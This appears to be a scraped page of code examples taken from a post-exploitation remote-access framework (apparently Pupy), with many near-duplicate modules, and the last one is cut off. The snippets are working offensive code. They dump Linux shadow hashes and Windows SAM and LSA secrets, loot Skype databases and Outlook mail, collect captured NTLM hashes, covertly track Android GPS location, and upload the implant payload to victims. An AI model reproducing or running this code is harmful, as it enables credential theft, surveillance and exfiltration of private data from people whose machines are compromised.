Example #1
0
    def run(self, args):
        ros = self.client.conn.modules["os"]
        remote_file = ros.path.expandvars(args.remote_file)
        rep = os.path.join("data", "downloads", self.client.short_name())

        if args.local_file:
            local_file = os.path.expandvars(args.local_file)
        else:
            local_file = None

        if not local_file:
            try:
                os.makedirs(rep)
            except Exception:
                pass
            local_file = os.path.join(
                rep, os.path.basename(remote_file.replace("\\", os.sep).replace("/", os.sep).rstrip("/\\"))
            )
        elif os.path.isdir(local_file):
            local_file = os.path.join(local_file, ros.path.basename(remote_file))

        self.info("downloading %s ..." % remote_file)
        start_time = time.time()
        download(self.client.conn, remote_file, local_file)
        self.success("file downloaded from remote:%s to local:%s" % (remote_file, local_file))
        size = os.path.getsize(local_file)
        total_time = round(time.time() - start_time, 2)
        self.info(
            "%s bytes downloaded in: %ss. average %sKB/s" % (size, total_time, round((size / total_time) / 10 ** 3, 2))
        )
Example #2
0
    def run(self, args):
        ros = self.client.conn.modules['os']
        remote_file = ros.path.expandvars(args.remote_file)
        rep = os.path.join("data", "downloads", self.client.short_name())

        if args.local_file:
            local_file = os.path.expandvars(args.local_file)
        else:
            local_file = None

        if not local_file:
            try:
                os.makedirs(rep)
            except Exception:
                pass
            local_file = os.path.join(
                rep,
                os.path.basename(
                    remote_file.replace("\\",
                                        os.sep).replace("/",
                                                        os.sep).rstrip("/\\")))
        elif os.path.isdir(local_file):
            local_file = os.path.join(local_file,
                                      ros.path.basename(remote_file))

        self.info("downloading %s ..." % remote_file)
        start_time = time.time()
        download(self.client.conn, remote_file, local_file)
        self.success("file downloaded from remote:%s to local:%s" %
                     (remote_file, local_file))
        size = os.path.getsize(local_file)
        total_time = round(time.time() - start_time, 2)
        self.info("%s bytes downloaded in: %ss. average %sKB/s" %
                  (size, total_time, round((size / total_time) / 10**3, 2)))
Example #3
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(":", 2)
            if not hsh in ("!", "*", "x") and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, "passwd")
            download(self.client.conn, "/etc/passwd", passwd)

            with open(passwd, "r") as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error("/etc/passwd is not accessible: {}".format(e))

        try:
            shadow = os.path.join(self.rep, "shadow")
            download(self.client.conn, "/etc/shadow", shadow)

            with open(shadow, "r") as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error("/etc/shadow is not accessible: {}".format(e))

        self.client.load_package("pupyutils.safepopen")
        sopen = self.client.conn.modules["pupyutils.safepopen"].SafePopen

        try:
            with open(os.path.join(self.rep, "getent.passwd"), "w") as passwd:
                for line in sopen(["getent", "passwd"]).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error("getent passwd failed: {}: {}".format(type(e), e.message))

        try:
            with open(os.path.join(self.rep, "getent.shadow"), "w") as shadow:
                for line in sopen(["getent", "shadow"]).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error("getent shadow failed: {}: {}".format(type(e), e.message))

        db = Credentials()
        db.add([{"hashes": hsh, "Tool": "Creddump", "uid": self.client.short_name()} for hsh in hashes])

        for hsh in hashes:
            self.log("{}".format(hsh))
Example #4
0
	def run(self, args):
		remote_file=self.client.conn.modules['os.path'].expandvars(args.remote_file)
		rep=os.path.join("data","downloads",self.client.short_name())
		if not args.local_file:
			try:
				os.makedirs(rep)
			except Exception:
				pass
			args.local_file=os.path.join(rep, os.path.basename(remote_file.replace("\\",os.sep).replace("/",os.sep).rstrip("/\\")))
		self.info("downloading %s ..."%remote_file)
		download(self.client.conn, remote_file, args.local_file)
		self.success("file downloaded from remote:%s to local:%s"%(remote_file, args.local_file))
Example #5
0
 def downloadInveighFiles (self, remote_temp_folder, localFolder):
     '''
     '''
     nb = 0
     if self.client.conn.modules['os.path'].isfile(self.path_log_out_file):
         out_file = os.path.join(localFolder, self.LOG_OUT_FILE)
         self.success("Downloading Inveigh log file in {0}".format(out_file))
         download(self.client.conn, self.path_log_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     if self.client.conn.modules['os.path'].isfile(self.path_ntlmv1_out_file):
         out_file = os.path.join(localFolder, self.NTLMV1_OUT_FILE)
         self.success("Downloading Inveigh ntlmv1 file in {0}".format(out_file))
         download(self.client.conn, self.path_ntlmv1_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     if self.client.conn.modules['os.path'].isfile(self.path_ntlmv2_out_file):
         out_file = os.path.join(localFolder, self.NTLMV2_OUT_FILE)
         self.success("Downloading Inveigh ntlmv2 file in {0}".format(out_file))
         download(self.client.conn, self.path_ntlmv2_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     if self.client.conn.modules['os.path'].isfile(self.path_cleartext_out_file):
         out_file = os.path.join(localFolder, self.CLEARTEXT_OUT_FILE)
         self.success("Downloading Inveigh cleartext file in {0}".format(out_file))
         download(self.client.conn, self.path_cleartext_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     return nb
Example #6
0
    def downloadOSTFile(self):
        '''
		Return file downloaded or None
		'''
        paths = self.getPathToOSTFiles()
        if len(paths) > 0:
            filename = self.module.client.conn.modules['os.path'].basename(
                paths[0])
            logging.debug("Downloading the file {0} to {1}".format(
                paths[0], self.localFolder))
            download(self.module.client.conn, paths[0],
                     os.path.join(self.localFolder, filename))
            return paths[0]
        else:
            return None
Example #7
0
    def run(self, args): 
        logger.debug("run(args) was called.")

        if os.path.isfile(args.local_file):
            warning("\"{}\" already exists locally.".format(args.local_file))
        else:
            logger.info("Attempting to download file...")
	    info("Attempting to download file...")
            
            try:
                download(self.client.conn, args.remote_file, args.local_file)
                logger.info("File transfer complete.")
                success("File transfer complete.")
            except ValueError as e:
                error("Cannot download file")
    def run(self, args):
        logger.debug("run(args) was called.")

        if os.path.isfile(args.local_file):
            warning("\"{}\" already exists locally.".format(args.local_file))
        else:
            logger.info("Attempting to download file...")
            info("Attempting to download file...")

            try:
                download(self.client.conn, args.remote_file, args.local_file)
                logger.info("File transfer complete.")
                success("File transfer complete.")
            except KeyboardInterrupt:
                logger.info("Caught Ctrl-C")
            except ValueError as e:
                error("Cannot download file")
Example #9
0
    def run(self, args):
        self.terminate = self.client.conn.modules['threading'].Event()

        if args.download:
            args.no_content = True

        s = self.client.conn.modules['pupyutils.search'].Search(
            args.filename,
            strings=args.strings,
            max_size=args.max_size,
            root_path=args.path,
            follow_symlinks=args.links,
            no_content=args.no_content,
            terminate=self.terminate)

        download_folder = None
        ros = None

        if args.download:
            config = self.client.pupsrv.config or PupyConfig()
            download_folder = config.get_folder(
                'searches', {'%c': self.client.short_name()})
            ros = self.client.conn.modules['os']

        for res in s.run():
            if args.strings and not args.no_content:
                self.success('{}: {}'.format(*res))
            else:
                if args.download and download is not None and ros is not None:
                    dest = res.replace('!',
                                       '!!').replace('/',
                                                     '!').replace('\\', '!')
                    dest = os.path.join(download_folder, dest)
                    try:
                        size = ros.path.getsize(res)
                        download(self.client.conn,
                                 res,
                                 dest,
                                 chunk_size=min(size, 8 * 1024 * 1024))
                        self.success('{} -> {} ({})'.format(res, dest, size))
                    except Exception, e:
                        self.error('{} -> {}: {}'.format(res, dest, e))
                else:
                    self.success('{}'.format(res))
Example #10
0
    def run(self, args):
        self.terminate = self.client.conn.modules['threading'].Event()

        if args.download:
            args.no_content = True

        s = self.client.conn.modules['pupyutils.search'].Search(
            args.filename,
            strings=args.strings,
            max_size=args.max_size,
            root_path=args.path,
            follow_symlinks=args.links,
            no_content=args.no_content,
            terminate=self.terminate
        )

        download_folder = None
        ros = None

        if args.download:
            config = self.client.pupsrv.config or PupyConfig()
            download_folder = config.get_folder('searches', {'%c': self.client.short_name()})
            ros = self.client.conn.modules['os']

        for res in s.run():
            if args.strings and not args.no_content:
                self.success('{}: {}'.format(*res))
            else:
                if args.download and download is not None and ros is not None:
                    dest = res.replace('!', '!!').replace('/', '!').replace('\\', '!')
                    dest = os.path.join(download_folder, dest)
                    try:
                        size = ros.path.getsize(res)
                        download(
                            self.client.conn,
                            res,
                            dest,
                            chunk_size=min(size, 8*1024*1024))
                        self.success('{} -> {} ({})'.format(res, dest, size))
                    except Exception, e:
                        self.error('{} -> {}: {}'.format(res, dest, e))
                else:
                    self.success('{}'.format(res))
Example #11
0
    def windows(self):
        self.client.load_package("lootskype")
        dbs = self.client.conn.modules["lootskype"].dump()
        if dbs:
            looted_dbs = []
            for index, db in enumerate(dbs):
                db_name = db.split('\\')[-2] + '.db'
                user_db = os.path.join(self.rep, db_name)
                self.log(
                    'Looting database for Skype user {0} ({1}/{2})'.format(
                        db_name, (index + 1), len(dbs)))
                download(self.client.conn, db, user_db)
                looted_dbs.append(user_db)

            self.success(
                "Skype databases looted, search the databases with gather/search_skype :)"
            )
        else:
            self.error('no Skype databases found')
 def downloadInveighFiles(self, remote_temp_folder, localFolder):
     '''
     '''
     nb = 0
     if self.client.conn.modules['os.path'].isfile(self.path_log_out_file):
         out_file = os.path.join(localFolder, self.LOG_OUT_FILE)
         self.success(
             "Downloading Inveigh log file in {0}".format(out_file))
         download(self.client.conn, self.path_log_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     if self.client.conn.modules['os.path'].isfile(
             self.path_ntlmv1_out_file):
         out_file = os.path.join(localFolder, self.NTLMV1_OUT_FILE)
         self.success(
             "Downloading Inveigh ntlmv1 file in {0}".format(out_file))
         download(self.client.conn, self.path_ntlmv1_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     if self.client.conn.modules['os.path'].isfile(
             self.path_ntlmv2_out_file):
         out_file = os.path.join(localFolder, self.NTLMV2_OUT_FILE)
         self.success(
             "Downloading Inveigh ntlmv2 file in {0}".format(out_file))
         download(self.client.conn, self.path_ntlmv2_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     if self.client.conn.modules['os.path'].isfile(
             self.path_cleartext_out_file):
         out_file = os.path.join(localFolder, self.CLEARTEXT_OUT_FILE)
         self.success(
             "Downloading Inveigh cleartext file in {0}".format(out_file))
         download(self.client.conn, self.path_cleartext_out_file, out_file)
         self.printFile(out_file)
         nb += 1
     return nb
Example #13
0
    def run(self, args):
        if not args.arguments:
            self.error('No command specified {}'.format(args.__dict__))
            return

        cmdargs = args.arguments

        to_upload = []
        to_download = []

        rexpandvars = self.client.remote('os.path', 'expandvars')
        rexists = self.client.remote('os.path', 'exists')
        rchmod = self.client.remote('os', 'chmod')
        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec',
                                       False)

        for i, arg in enumerate(cmdargs):
            for local, direction, remote in self.updl.findall(arg):
                if local == '$SELF$':
                    platform = self.client.platform
                    if not platform in ('windows', 'linux'):
                        self.error(
                            'Couldn\'t use $SELF$ on platform {}'.format(
                                platform))
                    xlocal = '$SELF$'
                else:
                    xlocal = os.path.expandvars(local)

                xremote = rexpandvars(remote)

                if direction == '<':
                    to_download.append((xremote, xlocal))
                else:
                    if xlocal == '$SELF$':
                        mode = 0711
                        to_upload.append((xlocal, xremote, mode))
                    else:
                        if not os.path.exists(xlocal):
                            self.error(
                                'No local file {} found (scheduled for upload)'
                                .format(xlocal))

                        mode = os.stat(xlocal).st_mode
                        to_upload.append((xlocal, xremote, mode))

                arg = arg.replace('^' + local + '^' + direction + remote + '^',
                                  remote)

            cmdargs[i] = arg

        for local, remote, mode in to_upload:
            if local == '$SELF$':
                platform = self.client.platform
                arch = ''
                config = self.client.get_conf()

                payload = b''
                if self.client.is_proc_arch_64_bits():
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx64_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx64_lin(config)

                    arch = 'x64'
                else:
                    if platform == 'windows':
                        payload = pupygen.get_edit_pupyx86_exe(config)
                    else:
                        payload = pupygen.get_edit_pupyx86_lin(config)

                    arch = 'x86'

                with tempfile.NamedTemporaryFile() as tmp:
                    self.info('Store pupy/{}/{}/size={} to {}'.format(
                        platform, arch, len(payload), tmp.name))
                    tmp.write(payload)
                    tmp.flush()
                    self.info('Upload {} -> {}'.format(tmp.name, remote))
                    upload(self.client.conn, tmp.name, remote)
            else:
                self.info('Upload {} -> {}'.format(local, remote))
                upload(self.client.conn, local, remote)

            rchmod(remote, mode)

        cmdenv = {
            'stderr': (None if args.n else subprocess.STDOUT),
            'universal_newlines': False,
        }

        if len(cmdargs) == 1 and ' ' in cmdargs[0]:
            cmdenv.update({'shell': True})
            cmdargs = cmdargs[0]
        else:
            cmdenv.update({'shell': False})
            if args.s:
                cmdargs = [
                    'cmd.exe',
                    '/c',
                ] + cmdargs if self.client.is_windows() else [
                    '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"'
                                              for x in cmdargs)
                ]

        if args.set_uid:
            cmdenv.update({'suid': args.set_uid})

        close_event = threading.Event()

        def on_read(data):
            self.stdout.write(data)

        self.terminate_pipe, get_returncode = safe_exec(
            None if args.N else on_read, close_event.set, tuple(cmdargs),
            **cmdenv)

        if hasattr(self.job, 'id'):
            self.success('Started at {}): '.format(datetime.datetime.now()))

        close_event.wait()

        retcode = get_returncode()

        if retcode == 0:
            self.success('Successful at {}: '.format(datetime.datetime.now()))
        else:
            self.error('Ret: {} at {}'.format(retcode,
                                              datetime.datetime.now()))

        for remote, local in to_download:
            if rexists(remote):
                self.info('Download {} -> {}'.format(remote, local))
                download(self.client.conn, remote, local)
            else:
                self.error(
                    'Remote file {} not exists (scheduled for download)'.
                    format(remote))
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!', '*', 'x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(self.client.conn, '/etc/passwd', passwd)

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(self.client.conn, '/etc/shadow', shadow)

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        rsubprocess = self.client.conn.modules.subprocess

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in rsubprocess.check_output('getent passwd',
                                                     shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    passwd.write(line + '\n')

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(
                type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in rsubprocess.check_output('getent shadow',
                                                     shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    shadow.write(line + '\n')

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(
                type(e), e.message))

        self.db.add([{
            'Hash': ':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'CredType': 'hash'
        } for hsh in hashes])

        for hsh in hashes:
            self.log('{}'.format(hsh))

        self.success("Hashes stored on the database")
    def windows(self):
        # First, we download the hives...

        #detect windows version
        is_vista = False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >= 6:
                is_vista = True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning(
                "windows version couldn't be determined. supposing vista=False"
            )

        self.success("saving SYSTEM hives in %TEMP%...")
        cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM",
                "reg save HKLM\\SECURITY %TEMP%/SECURITY",
                "reg save HKLM\\SAM %TEMP%/SAM")
        if is_vista:
            cmds = (x + ' /y' for x in cmds)

        for cmd in cmds:
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))
        self.success("hives saved!")
        remote_temp = self.client.conn.modules['os.path'].expandvars("%TEMP%")

        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"),
                 os.path.join(self.rep, "SYSTEM"))

        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"),
                 os.path.join(self.rep, "SECURITY"))

        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"),
                 os.path.join(self.rep, "SAM"))

        self.success("hives downloaded to %s" % self.rep)

        # Cleanup
        self.success("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(
                ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(
                ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s" % str(e))

        # Time to run creddump!
        hashes = []

        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM"))

        # Print the results
        self.success("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" %
                     (u.lower(), h.encode('hex'), d.lower(), dn.lower()))
            hashes.append({
                'Login':
                u.lower(),
                'Hash':
                "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()),
                'Category':
                'MSCACHE hash',
                'CredType':
                'hash'
            })

        self.success("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr, bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user, hbootkey)
            if not lmhash: lmhash = empty_lm
            if not nthash: nthash = empty_nt
            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(
                user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
            hashes.append({
                'Login':
                get_user_name(user),
                'Hash':
                "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')),
                'Category':
                'NTLM hash',
                'CredType':
                'hash'
            })

        self.db.add(hashes)
        self.success("Hashes stored on the database")

        self.success("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"),
                                   os.path.join(self.rep, "SECURITY"),
                                   is_vista)
        if not secrets:
            self.error(
                "unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))

        # The End! (hurrah)
        self.success("dump was successfull!")
Example #16
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!','*','x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(
                self.client.conn,
                '/etc/passwd',
                passwd
            )

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(
                self.client.conn,
                '/etc/shadow',
                shadow
            )

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        self.client.load_package('pupyutils.safepopen')
        sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in sopen(['getent', 'passwd']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in sopen(['getent', 'shadow']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(type(e), e.message))

        db = Credentials()
        db.add([
            {'Hash':':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes
        ])

        for hsh in hashes:
            self.log('{}'.format(hsh))
        
        self.success("Hashes stored on the database")
Example #17
0
 def run(self, args):
     self.client.load_package("pupydroid.gpsTracker")
     self.client.load_package("pupydroid.utils")
     androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID()
     self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user'])
     gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory)
     if args.is_GPS_enabled == True:
         self.success("Is GPS enabled?")
         print gpsTracker.isGPSenabled()
     if args.is_network_rovider_enabled == True:
         self.success("Is Network Provider enabled?")
         print gpsTracker.isNetworkProviderEnabled()
     if args.get_position == True:
         if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False:
             self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!")
             return
         else:
             self.success("GPS or Network Provider is enabled on the device. You should be able to get location!")
         lat, lon = None, None
         gpsTracker.enable()
         for nbRetry in range(3):
             self.success("Getting current location...")
             lat, lon = gpsTracker.getCurrentLocation()
             if lat==None and lon==None:
                 self.error("Impossible to get location, retrying...")
                 sleep(5)
             else:
                 self.success("Current location:")
                 print "latitude: {0} , longitude: {1}".format(lat, lon)
                 break
         gpsTracker.disable()
     if args.start:
         r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period)
         if r == True:
             self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period))
         else:
             self.error("Tracking not enabled because already activated")
     elif args.stop:
          self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period))
          r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker()
          if r == True:
             self.success("Tracking stopped")
          else:
             self.error("Tracking not stopped because not activated")
     elif args.dump:
         filename = os.path.join(self.localFolder,"gpsTraces.csv")
         if args.in_memory==False:
             traces = []
             download(self.client.conn, "keflfjezomef.csv",filename)
             self.success("GPS positions downloaded in {0}".format(filename))
             f = csv.DictReader(open(filename))
             for row in f:
                 traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')])
         else:
             traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker()
         self.success("{0} GPS positions".format(len(traces)))
         if len(traces)>0:
             if args.in_memory==True:
                 f=open(filename,'w')
                 f.write("Date, Lat, Lon\n")
                 for aPos in traces:
                     f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2]))
                 f.close()
                 self.success("GPS positions (.csv) saved in {0}".format(filename))
             kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml")
             generateKML(androidID, traces, outputFile=kmlFilename)
             self.success("KML file created in {0}".format(kmlFilename))
         else:
             self.error("No GPS positions get. You should start GPS tracking or wait a moment")
     elif args.status:
         if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True:
             self.success("GPS tracking is enabled")
         else:
             self.success("GPS tracking is NOT enabled")
     elif args.clean:
         status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile()
         if status == True:
             self.success("Trace file deleted from device")
         else:
             self.error("Impossible to delete trace file on device")
             self.error("Gps Tracking has never been enabled or it is running")
Example #18
0
	def run(self, args):
		'''
		'''
		self.client.load_package("outlook")
		localFolder=args.localOutputFolder
		self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':','')))
		if not os.path.exists(self.localFolder):
			logging.debug("Creating the {0} folder locally".format(self.localFolder))
			os.makedirs(self.localFolder)
		if args.folderId != None:
			self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
		outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
		if args.downloadOST == True:
			self.success("Trying to download Outlook OST file of the targeted current user")
			paths = outlook.getPathToOSTFiles()
			if len(paths)>0:
				localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum()))
				self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
				download(self.client.conn, paths[0][1], localPath)
				self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
			else:
				self.error("OST file not found or an error occured")
		if outlook.outlookIsInstalled() == True:
			self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
			if outlook.connect() == True:
				self.success("Connected to outlook application trough MAPI")
			else:
				self.error("Impossible to connect to outlook application trough MAPI. Abording!")
				return
		else:
			self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
			return
		if args.information == True:
			info = outlook.getInformation()
			for key, value in info.iteritems():
				self.success("{0}: {1}".format(key, value))
		if args.foldersAndSubFolders == True:
			self.success("Outlook folders and subfolders:")
			foldersAndSubFolders = outlook.getAllFolders()
			for i,folder in enumerate(foldersAndSubFolders):
				print "{0}: {1}".format(i, folder.encode('utf-8'))
				for j,subFolder in enumerate(foldersAndSubFolders[folder]):
					print "  {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
		if args.numberOfEmails == True:
			self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
			nb = outlook.getNbOfEmails()
			self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
		if args.downloadAllEmails == True:
			self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
			nb = outlook.getNbOfEmails()
			if nb == 0:
				self.error("This box is empty. You should choose another outlook folder")
			else:
				self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
				self.success("You can use msgconvert for reading these emails locally")
				self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
				self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
				logging.debug("Downloading all emails")
				for i, anEmail in enumerate(outlook.getEmails()):
					aPathToMailFile, filename = outlook.getAMailFile(anEmail)
					sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green")))
					sys.stdout.flush()
					localPathToFile = os.path.join(self.localFolder, filename)
					logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
					download(self.client.conn, aPathToMailFile, localPathToFile)
					logging.debug("Deleting {0}".format(aPathToMailFile))
					outlook.deleteTempMailFile(aPathToMailFile)
				print "\n"
				self.success("Download completed!")
		if args.search == True:
			self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder))
			localPathToFile = os.path.join(self.localFolder, "research.txt")
			emails = outlook.searchStringsInEmails(strings=args.strings, separator=',')
			if len(emails) > 0:
				self.success("{0} emails found with {1}".format(len(emails), args.strings))
			else:
				self.error("{0} emails found with {1}".format(len(emails), args.strings))
			f = open(localPathToFile,"w")
			for i, anEmail in enumerate(emails):
				f.write("-"*100+'\n')
				f.write("[+] Email {0}\n".format(i))
				f.write("-"*100+'\n')
				f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8')))
				f.write("Body: {0}\n".format(anEmail['body'].encode('utf8')))
			self.success("Research completed!")
			self.success("See the following file for results: {0}".format(localPathToFile))
			f.close()
Example #19
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!','*','x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(
                self.client.conn,
                '/etc/passwd',
                passwd
            )

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(
                self.client.conn,
                '/etc/shadow',
                shadow
            )

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        rsubprocess = self.client.conn.modules.subprocess

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    passwd.write(line+'\n')

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    shadow.write(line+'\n')

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(type(e), e.message))

        self.db.add([{
            'Hash':':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'CredType': 'hash'
            } for hsh in hashes
        ])

        for hsh in hashes:
            self.log('{}'.format(hsh))

        self.success("Hashes stored on the database")
Example #20
0
 def run(self, args):
     self.client.load_package("pupydroid.gpsTracker")
     self.client.load_package("pupydroid.utils")
     androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID()
     self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user'])
     gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory)
     if args.is_GPS_enabled == True:
         self.success("Is GPS enabled?")
         print gpsTracker.isGPSenabled()
     if args.is_network_rovider_enabled == True:
